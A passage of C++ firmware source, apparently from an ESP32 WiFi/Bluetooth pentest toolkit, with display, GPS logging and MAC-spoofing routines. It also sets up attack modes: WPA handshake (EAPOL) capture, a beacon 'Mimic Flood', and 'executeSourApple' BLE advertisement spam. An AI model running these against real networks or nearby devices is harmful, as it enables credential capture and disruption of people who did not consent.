display_obj.tft.setRotation(1); #endif #ifndef HAS_CYD_TOUCH display_obj.setCalData(true); #else //display_obj.touchscreen.setRotation(1); #endif #ifdef HAS_TOUCH lv_obj_t * scr = lv_cont_create(NULL, NULL); lv_disp_load_scr(scr); #endif } #endif void WiFiScan::RunClearStations() { #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println(F(text_table4[45])); display_obj.tft.println(text_table4[46] + (String)this->clearStations()); #else this->clearStations(); #endif } void WiFiScan::RunClearAPs() { #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println(F(text_table4[9])); display_obj.tft.println(text_table4[10] + (String)this->clearAPs()); display_obj.tft.println(F(text_table4[45])); display_obj.tft.println(text_table4[46] + (String)this->clearStations()); #else this->clearAPs(); this->clearStations(); #endif } void WiFiScan::RunClearSSIDs() { #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println(F(text_table4[11])); display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs()); #else this->clearSSIDs(); #endif } void WiFiScan::setMac() { wifi_mode_t currentWiFiMode; esp_wifi_get_mode(¤tWiFiMode); esp_err_t result; result = esp_wifi_set_mac(WIFI_IF_AP, this->ap_mac); if ((result != ESP_OK) && ((currentWiFiMode == WIFI_MODE_AP) || (currentWiFiMode == WIFI_MODE_APSTA) || (currentWiFiMode == WIFI_MODE_NULL))) Serial.printf("Failed to set AP MAC: %s | 0x%X\n", macToString(this->ap_mac), result); else if ((currentWiFiMode == WIFI_MODE_AP) || (currentWiFiMode == WIFI_MODE_APSTA) || (currentWiFiMode == WIFI_MODE_NULL)) Serial.println("Successfully set AP MAC: " + macToString(this->ap_mac)); // Do the station result = esp_wifi_set_mac(WIFI_IF_STA, this->sta_mac); if ((result != ESP_OK) && ((currentWiFiMode == WIFI_MODE_STA) || (currentWiFiMode == WIFI_MODE_APSTA))) Serial.printf("Failed to set STA MAC: %s | 0x%X\n", macToString(this->sta_mac), result); else if ((currentWiFiMode == WIFI_MODE_STA) || (currentWiFiMode == WIFI_MODE_APSTA)) Serial.println("Successfully set STA MAC: " + macToString(this->sta_mac)); } void WiFiScan::RunSetMac(uint8_t * mac, bool ap) { if (ap) { for (int i = 0; i < 6; i++) { this->ap_mac[i] = mac[i]; } } else { for (int i = 0; i < 6; i++) { this->sta_mac[i] = mac[i]; } } if (ap) Serial.println("Setting AP MAC: " + macToString(this->ap_mac)); else Serial.println("Setting STA MAC: " + macToString(this->sta_mac)); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK); if (ap) display_obj.tft.println("Setting AP MAC: " + macToString(this->ap_mac)); else display_obj.tft.println("Setting STA MAC: " + macToString(this->sta_mac)); #endif } void WiFiScan::RunGenerateRandomMac(bool ap) { if (ap) generateRandomMac(this->ap_mac); else generateRandomMac(this->sta_mac); if (ap) Serial.println("Setting AP MAC: " + macToString(this->ap_mac)); else Serial.println("Setting STA MAC: " + macToString(this->sta_mac)); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK); if (ap) display_obj.tft.println("Setting AP MAC: " + macToString(this->ap_mac)); else display_obj.tft.println("Setting STA MAC: " + macToString(this->sta_mac)); #endif } void WiFiScan::RunGenerateSSIDs(int count) { #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, 100); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println(F(text_table4[13])); display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs()); display_obj.tft.println(text_table4[15] + (String)ssids->size()); #else this->generateSSIDs(count); #endif } void WiFiScan::logPoint(String lat, String lon, float alt, String datetime, bool poi) { datetime.replace(" ", "T"); datetime += "Z"; if (!poi) buffer_obj.append(" \n"); else buffer_obj.append(" \n"); buffer_obj.append(" " + String(alt, 2) + "\n"); buffer_obj.append(" \n"); if (!poi) buffer_obj.append(" \n"); else buffer_obj.append(" \n"); //gpxFile.flush(); } void WiFiScan::writeHeader(bool poi) { Serial.println("Writing header to GPX file..."); buffer_obj.append("\n"); buffer_obj.append("\n"); if (!poi) buffer_obj.append(" \n"); buffer_obj.append(" ESP32 Track\n"); if (!poi) buffer_obj.append(" \n"); } void WiFiScan::writeFooter(bool poi) { Serial.println("Writing footer to GPX file...\n"); if (!poi) { buffer_obj.append(" \n"); buffer_obj.append(" \n"); } buffer_obj.append("\n"); } void WiFiScan::RunSetupGPSTracker(uint8_t scan_mode) { if (scan_mode == GPS_TRACKER) this->startGPX("tracker"); else if (scan_mode == GPS_POI) this->startGPX("poi"); this->writeHeader(scan_mode == GPS_POI); initTime = millis(); } bool WiFiScan::RunGPSInfo(bool tracker, bool display, bool poi) { bool return_val = true; #ifdef HAS_GPS String text=gps_obj.getText(); if (tracker) { if (gps_obj.getFixStatus()) { this->logPoint(gps_obj.getLat(), gps_obj.getLon(), gps_obj.getAlt(), gps_obj.getDatetime(), poi); } else return_val = false; } if (display) { Serial.println("Refreshing GPS Data on screen..."); #ifdef HAS_SCREEN // Get screen position ready display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); // Clean up screen first //display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR); display_obj.tft.fillRect(0, (SCREEN_HEIGHT / 3) - 6, SCREEN_WIDTH, SCREEN_HEIGHT - ((SCREEN_HEIGHT / 3) - 6), TFT_BLACK); // Print the GPS data: 3 display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3); if (gps_obj.getFixStatus()) display_obj.tft.println(" Good Fix: Yes"); else { return_val = false; display_obj.tft.println(" Good Fix: No"); } if(text != "") display_obj.tft.println(" Text: " + text); display_obj.tft.println("Satellites: " + gps_obj.getNumSatsString()); display_obj.tft.println(" Accuracy: " + (String)gps_obj.getAccuracy()); display_obj.tft.println(" Latitude: " + gps_obj.getLat()); display_obj.tft.println(" Longitude: " + gps_obj.getLon()); display_obj.tft.println(" Altitude: " + (String)gps_obj.getAlt()); display_obj.tft.println(" Datetime: " + gps_obj.getDatetime()); #endif // Display to serial Serial.println("==== GPS Data ===="); if (gps_obj.getFixStatus()) Serial.println(" Good Fix: Yes"); else Serial.println(" Good Fix: No"); if(text != "") Serial.println(" Text: " + text); Serial.println("Satellites: " + gps_obj.getNumSatsString()); Serial.println(" Accuracy: " + (String)gps_obj.getAccuracy()); Serial.println(" Latitude: " + gps_obj.getLat()); Serial.println(" Longitude: " + gps_obj.getLon()); Serial.println(" Altitude: " + (String)gps_obj.getAlt()); Serial.println(" Datetime: " + gps_obj.getDatetime()); } #endif return return_val; } void WiFiScan::RunGPSNmea() { #ifdef HAS_GPS LinkedList *buffer=gps_obj.get_queue(); bool queue_enabled=gps_obj.queue_enabled(); String gxgga = gps_obj.generateGXgga(); String gxrmc = gps_obj.generateGXrmc(); if(!buffer||!queue_enabled) gps_obj.flush_queue(); #ifndef HAS_SCREEN else gps_obj.flush_text(); #else // Get screen position ready int offset=100; if((SCREEN_HEIGHT / 3)((TFT_HEIGHT-offset-BOT_FIXED_AREA)/10)) lines=(TFT_HEIGHT-offset-BOT_FIXED_AREA)/10; #endif String text=gps_obj.getText(); if(queue_enabled){ int queue=gps_obj.getTextQueueSize(); if(queue>0){ display_obj.tft.println(gps_obj.getTextQueue()); lines-=queue; //used lines for text display } else if(text != ""){ display_obj.tft.println(text); lines--; } } else if(text != ""){ display_obj.tft.println(text); lines--; } #if GPS_NMEA_SCRNWRAP lines-=((gxgga.length()-1)/STANDARD_FONT_CHAR_LIMIT) + 1; lines-=((gxrmc.length()-1)/STANDARD_FONT_CHAR_LIMIT) + 1; display_obj.tft.setTextWrap(GPS_NMEA_SCRNWRAP); #else lines-=2; //two self-genned messages #endif #endif if(buffer && queue_enabled){ int size=buffer->size(); if(size){ gps_obj.new_queue(); for(int i=0;iget(i); Serial.println(line.sentence); #ifdef HAS_SCREEN if(lines>0){ if(line.unparsed){ if(line.type != "" && line.type != "TXT" && line.type != "GGA" && line.type != "RMC"){ int length=line.sentence.length(); if(length){ #if GPS_NMEA_SCRNWRAP if((((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1)<=lines){ #endif display_obj.tft.println(line.sentence); #if GPS_NMEA_SCRNWRAP lines-=((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1; #else lines--; #endif #if GPS_NMEA_SCRNWRAP } #endif } } } } #endif } delete buffer; } } else { static String old_nmea_sentence=""; String nmea_sentence=gps_obj.getNmeaNotimp(); if(nmea_sentence != "" && nmea_sentence != old_nmea_sentence){ old_nmea_sentence=nmea_sentence; Serial.println(nmea_sentence); } #ifdef HAS_SCREEN if(lines>0){ String display_nmea_sentence=gps_obj.getNmeaNotparsed(); int length=display_nmea_sentence.length(); if(length) #if GPS_NMEA_SCRNWRAP if((((length-1)/STANDARD_FONT_CHAR_LIMIT) + 1)<=lines) #endif display_obj.tft.println(display_nmea_sentence); } #endif } #ifdef HAS_SCREEN display_obj.tft.println(gxgga); display_obj.tft.println(gxrmc); #if GPS_NMEA_SCRNWRAP display_obj.tft.setTextWrap(false); #endif #endif gps_obj.sendSentence(Serial, gxgga.c_str()); gps_obj.sendSentence(Serial, gxrmc.c_str()); #endif } void WiFiScan::RunAPInfo(uint16_t index, bool do_display) { #ifdef HAS_SCREEN if (do_display) { display_obj.tft.setCursor(0, (STATUS_BAR_WIDTH * 2) + CHAR_WIDTH + KEY_H); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK); } #endif Serial.println(" ESSID: " + (String)access_points->get(index).essid); Serial.println(" BSSID: " + (String)macToString(access_points->get(index).bssid)); Serial.println(" Channel: " + (String)access_points->get(index).channel); Serial.println(" RSSI: " + (String)access_points->get(index).rssi); Serial.println(" Frames: " + (String)access_points->get(index).packets); Serial.println("Stations: " + (String)access_points->get(index).stations->size()); Serial.println(" Brand: " + (String)access_points->get(index).man); uint8_t sec = access_points->get(index).sec; bool wps = access_points->get(index).wps; Serial.print("Security: "); switch (sec) { case WIFI_SECURITY_OPEN: Serial.println("Open"); break; case WIFI_SECURITY_WEP: Serial.println("WEP"); break; case WIFI_SECURITY_WPA: Serial.println("WPA"); break; case WIFI_SECURITY_WPA2: Serial.println("WPA2"); break; case WIFI_SECURITY_WPA3: Serial.println("WPA3"); break; case WIFI_SECURITY_WPA_WPA2_MIXED: Serial.println("WPA/WPA2 Mixed"); break; case WIFI_SECURITY_WPA2_ENTERPRISE: Serial.println("WPA2 Enterprise"); break; case WIFI_SECURITY_WPA3_ENTERPRISE: Serial.println("WPA3 Enterprise"); break; case WIFI_SECURITY_WAPI: Serial.println("WAPI"); break; default: Serial.println("Unknown"); break; } Serial.print(" WPS: "); switch (wps) { case true: Serial.println("true"); break; case false: Serial.println("false"); break; default: Serial.println("false"); break; } #ifdef HAS_SCREEN if (do_display) { display_obj.tft.println(" ESSID: " + (String)access_points->get(index).essid); display_obj.tft.println(" BSSID: " + (String)macToString(access_points->get(index).bssid)); display_obj.tft.println(" Channel: " + (String)access_points->get(index).channel); display_obj.tft.println(" RSSI: " + (String)access_points->get(index).rssi); display_obj.tft.println(" Frames: " + (String)access_points->get(index).packets); display_obj.tft.println("Stations: " + (String)access_points->get(index).stations->size()); display_obj.tft.println(" Brand: " + (String)access_points->get(index).man); display_obj.tft.print("Security: "); switch (sec) { case WIFI_SECURITY_OPEN: display_obj.tft.println("Open"); break; case WIFI_SECURITY_WEP: display_obj.tft.println("WEP"); break; case WIFI_SECURITY_WPA: display_obj.tft.println("WPA"); break; case WIFI_SECURITY_WPA2: display_obj.tft.println("WPA2"); break; case WIFI_SECURITY_WPA3: display_obj.tft.println("WPA3"); break; case WIFI_SECURITY_WPA_WPA2_MIXED: display_obj.tft.println("WPA/WPA2 Mixed"); break; case WIFI_SECURITY_WPA2_ENTERPRISE: display_obj.tft.println("WPA2 Enterprise"); break; case WIFI_SECURITY_WPA3_ENTERPRISE: display_obj.tft.println("WPA3 Enterprise"); break; case WIFI_SECURITY_WAPI: display_obj.tft.println("WAPI"); break; default: display_obj.tft.println("Unknown"); break; } display_obj.tft.print(" WPS: "); switch (wps) { case true: display_obj.tft.println("true"); break; case false: display_obj.tft.println("false"); break; default: display_obj.tft.println("false"); break; } } #endif if (!access_points->get(index).selected) { Serial.println("Selected: false"); #ifdef HAS_SCREEN if (do_display) { display_obj.tft.println("Selected: false"); } #endif } else { Serial.println("Selected: true"); #ifdef HAS_SCREEN if (do_display) { display_obj.tft.println("Selected: true"); } #endif } } void WiFiScan::RunInfo() { String sta_mac = this->getStaMAC(); String ap_mac = this->getApMAC(); String free_ram = this->freeRAM(); Serial.println(free_ram); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false); display_obj.tft.setFreeFont(NULL); display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_CYAN); display_obj.tft.println(text_table4[20]); display_obj.tft.println(text_table4[21] + display_obj.version_number); display_obj.tft.println("Hardware: " + (String)HARDWARE_NAME); display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version()); #endif Serial.println(text_table4[20]); Serial.println(text_table4[21] + (String)MARAUDER_VERSION); Serial.println("Hardware: " + (String)HARDWARE_NAME); Serial.println(text_table4[22] + (String)esp_get_idf_version()); if (this->wsl_bypass_enabled) { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[23]); #endif Serial.println(text_table4[23]); } else { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[24]); #endif Serial.println(text_table4[24]); } #ifdef HAS_SCREEN display_obj.tft.println(text_table4[25] + sta_mac); display_obj.tft.println(text_table4[26] + ap_mac); display_obj.tft.println(text_table4[27] + free_ram); #endif Serial.println(text_table4[25] + sta_mac); Serial.println(text_table4[26] + ap_mac); Serial.println(text_table4[27] + free_ram); #if defined(HAS_SD) if (sd_obj.supported) { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[28]); display_obj.tft.print(text_table4[29]); display_obj.tft.print(sd_obj.card_sz); display_obj.tft.println("MB"); #endif Serial.println(text_table4[28]); Serial.print(text_table4[29]); Serial.print(sd_obj.card_sz); Serial.println("MB"); } else { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[30]); display_obj.tft.println(text_table4[31]); #endif Serial.println(text_table4[30]); Serial.println(text_table4[31]); } #endif #ifdef HAS_BATTERY battery_obj.battery_level = battery_obj.getBatteryLevel(); if (battery_obj.i2c_supported) { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[32]); display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%"); #endif Serial.println(text_table4[32]); Serial.println(text_table4[33] + (String)battery_obj.battery_level + "%"); } else { #ifdef HAS_SCREEN display_obj.tft.println(text_table4[34]); #endif Serial.println(text_table4[34]); } #endif //#ifdef HAS_SCREEN // display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C"); //#endif } void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color) { #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif if (scan_mode == WIFI_PACKET_MONITOR) startPcap("packet_monitor"); #ifdef HAS_ILI9341 if ((scan_mode != WIFI_SCAN_PACKET_RATE) && (scan_mode != WIFI_SCAN_CHAN_ANALYZER)) { #ifdef HAS_SCREEN display_obj.init(); display_obj.tft.setRotation(1); display_obj.tft.fillScreen(TFT_BLACK); #endif #ifdef HAS_SCREEN #ifndef HAS_CYD_TOUCH display_obj.setCalData(true); #else //display_obj.touchscreen.setRotation(1); #endif //display_obj.tft.setFreeFont(1); display_obj.tft.setFreeFont(NULL); display_obj.tft.setTextSize(1); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key delay(10); display_obj.tftDrawGraphObjects(x_scale); //draw graph objects display_obj.tftDrawColorKey(); display_obj.tftDrawXScaleButtons(x_scale); display_obj.tftDrawYScaleButtons(y_scale); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); #endif } else { display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == WIFI_PACKET_MONITOR) display_obj.tft.drawCentreString(text_table1[45],TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_CHAN_ANALYZER) { display_obj.tft.setTextColor(TFT_BLACK, color); display_obj.tft.drawCentreString("Channel Analyzer", TFT_WIDTH / 2, 16, 2); } else if (scan_mode == WIFI_SCAN_PACKET_RATE) { display_obj.tft.drawCentreString("Packet Rate", TFT_WIDTH / 2, 16, 2); } #endif // Setup up portrait analyzer buttons display_obj.tft.setFreeFont(NULL); display_obj.tft.setTextSize(1); display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); display_obj.tftDrawChannelScaleButtons(set_channel, false); display_obj.tftDrawExitScaleButtons(false); } #else // Non touch #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); if (scan_mode == WIFI_PACKET_MONITOR) display_obj.tft.drawCentreString(text_table1[45],TFT_WIDTH / 2,16,2); else if (scan_mode == WIFI_SCAN_CHAN_ANALYZER) display_obj.tft.drawCentreString("Channel Analyzer", TFT_WIDTH / 2, 16, 2); else if (scan_mode == WIFI_SCAN_PACKET_RATE) display_obj.tft.drawCentreString("Packet Rate", TFT_WIDTH / 2, 16, 2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif #endif Serial.println("Running packet scan..."); esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; uint32_t initTime = millis(); } void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color) { #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif num_eapol = 0; #ifdef HAS_ILI9341 #ifdef HAS_SCREEN display_obj.init(); display_obj.tft.setRotation(1); display_obj.tft.fillScreen(TFT_BLACK); #endif startPcap("eapol"); #ifdef HAS_SCREEN #ifndef HAS_CYD_TOUCH display_obj.setCalData(true); #else //display_obj.touchscreen.setRotation(1); #endif display_obj.tft.setFreeFont(NULL); display_obj.tft.setTextSize(1); display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key delay(10); display_obj.tftDrawGraphObjects(x_scale); //draw graph objects display_obj.tftDrawEapolColorKey(this->filterActive()); display_obj.tftDrawChannelScaleButtons(set_channel); display_obj.tftDrawExitScaleButtons(); #endif #else startPcap("eapol"); #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[38],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif #endif esp_wifi_init(&cfg); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_AP); esp_err_t err; wifi_config_t conf; err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR); if (err != 0) { Serial.print("could not set protocol : err=0x"); Serial.println(err, HEX); } esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf); conf.ap.ssid[0] = '\0'; conf.ap.ssid_len = 0; conf.ap.channel = this->set_channel; conf.ap.ssid_hidden = 1; conf.ap.max_connection = 0; conf.ap.beacon_interval = 60000; err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf); if (err != 0) { Serial.print("AP config set error, Maurauder SSID might visible : err=0x"); Serial.println(err, HEX); } esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL) esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback); else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL) esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback); else esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } // Function to prepare for beacon mimic void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) { #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(" Mimic Flood ",TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); #endif packets_sent = 0; esp_wifi_init(&cfg); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_AP_STA); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous_filter(NULL); esp_wifi_set_promiscuous(true); esp_wifi_set_max_tx_power(78); this->wifi_initialized = true; initTime = millis(); } // Pineapple void WiFiScan::RunPineScan(uint8_t scan_mode, uint16_t color) { this->clearPineScanTrackers(); startPcap("pinescan"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[48],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_RED, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&pineScanSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } // MultiSSID void WiFiScan::RunMultiSSIDScan(uint8_t scan_mode, uint16_t color) { this->clearMultiSSID(); startPcap("multissid"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_BLACK, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[49],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_BLUE, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&multiSSIDSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color) { startPcap("pwnagotchi"); #ifdef HAS_FLIPPER_LED flipper_led.sniffLED(); #elif defined(XIAO_ESP32_S3) xiao_led.sniffLED(); #elif defined(MARAUDER_M5STICKC) stickc_led.sniffLED(); #else led_obj.setMode(MODE_SNIFF); #endif #ifdef HAS_SCREEN display_obj.TOP_FIXED_AREA_2 = 48; display_obj.tteBar = true; display_obj.print_delay_1 = 15; display_obj.print_delay_2 = 10; display_obj.initScrollValues(true); display_obj.tft.setTextWrap(false); display_obj.tft.setTextColor(TFT_WHITE, color); #ifdef HAS_FULL_SCREEN display_obj.tft.fillRect(0,16,TFT_WIDTH,16, color); display_obj.tft.drawCentreString(text_table4[37],TFT_WIDTH / 2,16,2); #endif #ifdef HAS_ILI9341 display_obj.touchToExit(); #endif display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA); #endif esp_wifi_init(&cfg2); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_storage(WIFI_STORAGE_RAM); esp_wifi_set_mode(WIFI_MODE_NULL); esp_wifi_start(); this->setMac(); esp_wifi_set_promiscuous(true); esp_wifi_set_promiscuous_filter(&filt); esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); this->wifi_initialized = true; initTime = millis(); } void WiFiScan::executeSourApple() { #ifdef HAS_BT NimBLEDevice::init(""); NimBLEServer *pServer = NimBLEDevice::createServer(); pAdvertising = pServer->getAdvertising(); delay(40); //NimBLEAdvertisementData advertisementData = getOAdvertisementData(); NimBLEAdvertisementData advertisementData = this->GetUniversalAdvertisementData(Apple); pAdvertising->setAdvertisementData(advertisementData); pAdvertising->start(); delay(20); pAdvertising->stop(); #endif } void WiFiScan::setBaseMacAddress(uint8_t macAddr[6]) { // Use ESP-IDF function to set the base MAC address esp_err_t err = esp_base_mac_addr_set(macAddr); // Check for success or handle errors if (err == ESP_OK) { return; } else if (err == ESP_ERR_INVALID_ARG) { Serial.println("Error: Invalid MAC address argument."); } else { 